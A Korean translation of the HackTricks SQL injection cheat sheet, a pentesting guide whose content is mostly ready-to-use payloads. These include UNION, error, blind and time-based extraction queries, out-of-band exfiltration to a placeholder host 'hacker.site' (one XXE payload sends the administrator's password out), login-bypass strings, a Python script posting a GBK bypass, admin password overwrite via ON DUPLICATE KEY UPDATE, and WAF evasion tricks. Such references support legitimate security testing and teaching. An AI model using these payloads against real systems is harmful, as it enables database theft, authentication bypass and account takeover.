hacktricks/pentesting-web/sql-injection/README.md

532 lines
30 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 것**을 사명으로 하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
## SQL 인젝션이란 무엇인가?
**SQL 인젝션**은 공격자가 애플리케이션의 데이터베이스 쿼리에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 **보지 못해야 할** 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정** 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
## 진입점 탐지
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL 인젝션(SQLi)에 취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터 주입 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별해야 합니다.
다음은 유용한 몇 가지 예입니다:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
그런 다음, **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
### **주석**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### 논리 연산으로 확인하기
SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수가 `?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1``?id=2-1`에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
논리 연산 확인을 보여주는 예:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
이 단어 목록은 제안된 방법으로 **SQLinjections**를 확인하기 위해 생성되었습니다:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### 타이밍으로 확인하기
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL injections**를 발견하는 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 **영향을 미치는 시간**을 만드는 것입니다.\
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
일부 경우에 **sleep 함수가 허용되지 않을 수 있습니다**. 그런 경우, 이러한 함수를 사용하는 대신 쿼리를 **복잡한 작업을 수행하도록** 만들어 여러 초가 걸리게 할 수 있습니다. _이러한 기술의 예는 각 기술에 대해 별도로 주석을 달 예정입니다 (있는 경우)_.
### 백엔드 식별
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 _**sleep**_ **함수** 또는 다음의 함수들을 사용할 수 있습니다 (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
또한, 쿼리의 출력에 접근할 수 있다면 **데이터베이스의 버전을 출력**할 수 있습니다.
{% hint style="info" %}
우리는 다양한 종류의 SQL Injection을 악용하는 다양한 방법에 대해 논의할 것입니다. MySQL을 예로 사용할 것입니다.
{% endhint %}
### PortSwigger로 식별하기
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## 유니온 기반 악용
### 열의 수 감지
쿼리의 출력을 볼 수 있다면 이것이 가장 좋은 악용 방법입니다.\
우선, **초기 요청**이 반환하는 **열의 수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
#### Order/Group by
쿼리의 열 수를 결정하기 위해 **ORDER BY** 또는 **GROUP BY** 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 **GROUP BY**와 **ORDER BY**의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
쿼리가 올바를 때까지 더 많은 null 값을 선택하십시오:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_`null` 값을 사용해야 합니다. 경우에 따라 쿼리 양쪽의 열 유형이 동일해야 하며 null은 모든 경우에 유효합니다._
### 데이터베이스 이름, 테이블 이름 및 열 이름 추출
다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색합니다:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르지만, 항상 동일한 방법론입니다._
## 숨겨진 유니온 기반 활용
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
더 포괄적인 통찰력을 원하시면 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)에서 제공되는 전체 기사를 참조하세요.
## 오류 기반 활용
어떤 이유로 **쿼리**의 **출력**을 **볼 수 없지만** **오류 메시지**는 **볼 수 있는 경우**, 이 오류 메시지를 사용하여 데이터베이스에서 데이터를 **유출**할 수 있습니다.\
유니온 기반 활용과 유사한 흐름을 따라 DB를 덤프할 수 있습니다.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Blind SQLi 활용하기
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **반환**할 때 페이지의 내용이 다르기 때문에 이를 **구별**할 수 있습니다.\
이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Exploiting Error Blind SQLi
이것은 **이전과 동일한 경우**이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 **오류**가 있는지 여부를 **구분할 수 있습니다**(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우 올바른 문자를 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 시간 기반 SQLi 활용
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나, 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 사용하여 SQLi 취약점 확인](./#confirming-with-timing)하는 이 기술을 이전에 보았습니다.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
스택 쿼리를 사용하여 **여러 쿼리를 연속으로 실행**할 수 있습니다. 후속 쿼리가 실행되는 동안 **결과**는 **응용 프로그램에 반환되지 않습니다**. 따라서 이 기술은 주로 **블라인드 취약점**과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
**Oracle**은 **스택 쿼리**를 지원하지 않습니다. **MySQL, Microsoft** 및 **PostgreSQL**은 이를 지원합니다: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
**다른** 취약점 이용 방법이 **작동하지 않는 경우**, **데이터베이스가** 정보를 **당신이 제어하는 외부 호스트**로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### XXE를 통한 대역 외 데이터 유출
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## 자동화된 악용
[**sqlmap**](https://github.com/sqlmapproject/sqlmap)을 사용하여 SQLi 취약점을 악용하려면 [SQLMap Cheetsheat](sqlmap/)를 확인하세요.
## 기술별 정보
우리는 이미 SQL Injection 취약점을 악용하는 모든 방법에 대해 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
또는 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.**
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
## 인증 우회
로그인 기능을 우회하기 위해 시도할 목록:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}
### 원시 해시 인증 우회
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
이 쿼리는 인증 검사에서 원시 출력을 위해 true와 함께 MD5가 사용될 때의 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이는 무단 접근으로 이어질 수 있습니다.
```sql
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
```
### 주입된 해시 인증 우회
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**추천 목록**:
각 줄의 목록을 사용자 이름으로 사용하고 비밀번호는 항상: _**Pass1234.**_\
_(이 페이로드는 이 섹션의 시작 부분에 언급된 큰 목록에도 포함되어 있습니다)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK 인증 우회
IF '가 이스케이프되고 있다면 %A8%27을 사용할 수 있으며, '가 이스케이프되면 다음이 생성됩니다: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
파이썬 스크립트:
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### 폴리글롯 인젝션 (다중 컨텍스트)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### 기존 객체/사용자의 비밀번호 수정
이를 위해 **"마스터 객체"**라는 이름의 새 객체를 **생성**하려고 시도해야 합니다 (사용자의 경우 **admin**일 가능성이 높습니다) 뭔가를 수정하여:
* 이름이 **AdMIn**인 사용자 생성 (대문자 및 소문자 혼합)
* 이름이 **admin=**인 사용자 생성
* **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> 이름이 **admin \[공백 많이] a**인 사용자 생성
#### SQL Truncation Attack
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하려면: "_admin \[30 공백] a_"라는 사용자 이름을 생성하고 아무 비밀번호나 사용해 보세요.
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. **존재하지 않으면**, **사용자 이름**을 **최대 허용 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 **자동으로 끝의 모든 공백을 제거하여** 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
자세한 정보: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는 다음을 참조하세요: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL Insert 시간 기반 검사
VALUES 문을 종료하기 위해 필요한 만큼 `','',''`를 추가하세요. 지연이 실행되면 SQLInjection이 있습니다.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
MySQL의 `ON DUPLICATE KEY UPDATE` 절은 UNIQUE 인덱스 또는 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 수행할 작업을 지정하는 데 사용됩니다. 다음 예제는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:
Example Payload Injection:
주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 `users` 테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Here's how it works:
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`을 위한 것이고, 다른 하나는 `admin_generic@example.com`을 위한 것입니다.
- 만약 `admin_generic@example.com`에 대한 행이 이미 존재한다면, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
- 결과적으로, `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
### Extract information
#### Creating 2 accounts at the same time
새 사용자와 사용자 이름을 생성하려고 할 때, 비밀번호와 이메일이 필요합니다:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### 10진수 또는 16진수 사용
이 기술을 사용하면 1개의 계정만 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석 처리할 필요가 없다는 것입니다.
**hex2dec****substr** 사용:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
텍스트를 얻으려면 다음을 사용할 수 있습니다:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
**hex**와 **replace** (그리고 **substr**) 사용:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL injection
Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하지 않고, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF 우회
[초기 우회는 여기에서](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### 공백 없는 우회
No Space (%20) - 공백 대체를 사용한 우회
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - 주석을 사용한 우회
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - 괄호를 사용한 우회
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
No Comma - OFFSET, FROM 및 JOIN을 사용한 우회
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generic Bypasses
키워드를 사용한 블랙리스트 - 대문자/소문자를 사용하여 우회
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
대소문자 구분 없는 키워드를 사용한 블랙리스트 - 동등한 연산자를 사용하여 우회
```
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Scientific Notation WAF 우회
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
기본적으로 WAF를 우회하기 위해 예상치 못한 방식으로 과학적 표기를 사용할 수 있습니다:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### 열 이름 제한 우회
먼저, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
**열 이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다** 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
또는 **comma bypass**를 사용하여:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
이 트릭은 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)에서 가져왔습니다.
### WAF 우회 제안 도구
{% embed url="https://github.com/m4ll0k/Atlas" %}
## 기타 가이드
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## 브루트포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
</details>
{% endhint %}